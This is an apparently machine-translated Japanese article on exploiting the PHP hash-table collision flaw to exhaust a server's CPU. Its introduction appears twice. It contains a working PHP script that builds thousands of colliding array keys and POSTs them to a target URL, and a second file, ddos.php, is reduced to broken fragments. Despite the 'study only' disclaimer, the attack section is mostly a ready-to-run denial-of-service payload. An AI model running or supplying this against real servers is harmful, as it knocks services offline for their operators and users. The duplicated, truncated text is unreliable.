PHPがhash衝突ホールを利用してDDoS攻撃を行う方法の分析
1952 ワード
本論文では,PHPがhash衝突ホールを用いてDDoS攻撃を行う方法を例として解析した.皆さんの参考にしてください.具体的な分析は以下の通りである.
まず声明します:本文の内容はただ学習の使用を研究することに用いて、不法行為に用いないでください!
前述したように、java、python、phpなど、最近爆発したhashテーブルの衝突ホールは、多くの一般的な言語が免れていないので、今晩は実際にその威力を見てみましょう.
攻撃の原理:
ターゲットサーバpostに丹念に組み込まれた配列パラメータのセットを作成することによって、サービス側に到着した後、言語の最下位で受信した配列パラメータを処理すると、この脆弱性の存在によりCPUの大量消費が発生し、最終的にサーバリソースが枯渇する.派手な手法ではなく、PHPで簡単に見た効果を実現し、点到即止します.
ファイル:dos.php
ファイル:ddos.php
本稿で述べたphpプログラム設計に役立つことを願っています.
まず声明します:本文の内容はただ学習の使用を研究することに用いて、不法行為に用いないでください!
前述したように、java、python、phpなど、最近爆発したhashテーブルの衝突ホールは、多くの一般的な言語が免れていないので、今晩は実際にその威力を見てみましょう.
攻撃の原理:
ターゲットサーバpostに丹念に組み込まれた配列パラメータのセットを作成することによって、サービス側に到着した後、言語の最下位で受信した配列パラメータを処理すると、この脆弱性の存在によりCPUの大量消費が発生し、最終的にサーバリソースが枯渇する.派手な手法ではなく、PHPで簡単に見た効果を実現し、点到即止します.
ファイル:dos.php
//
// ,
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
$data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&'));
var_dump($ret);
function curl($url, $post, $timeout = 30){
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$output = curl_exec($ch);
if ($output === false) return false;
$info = curl_getinfo($ch);
$http_code = $info['http_code'];
if ($http_code == 404) return false;
curl_close($ch);
return $output;
}
ファイル:ddos.php
DDOS
';
}
?>
本稿で述べたphpプログラム設計に役立つことを願っています.